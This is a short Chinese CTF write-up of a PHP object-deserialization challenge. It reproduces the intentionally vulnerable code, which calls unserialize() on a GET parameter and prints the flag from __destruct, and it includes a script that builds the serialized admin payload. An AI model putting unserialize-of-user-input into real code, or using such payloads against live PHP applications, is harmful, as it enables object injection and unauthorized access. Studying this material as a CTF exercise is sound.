CTF web之旅 45

<?php
include ‘flag.php‘;


error_reporting(0);


class Name{
    private $username = ‘nonono‘;
    private $password = ‘yesyes‘;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = ‘guest‘;
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === ‘admin‘) {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can‘t give you the flag!";
            die();

            
        }
    }
}
?>

    <?php
    include ‘class.php‘;
    $select = $_GET[‘select‘];
    $res=unserialize(@$select);
    ?>

construct():当一个类被创建时自动调用
destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

<?php
class Name{
    private $username = ‘nonono‘;
    private $password = ‘yesyes‘;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a=new name(‘admin‘,100);
$b=serialize($a);
echo $b;

?>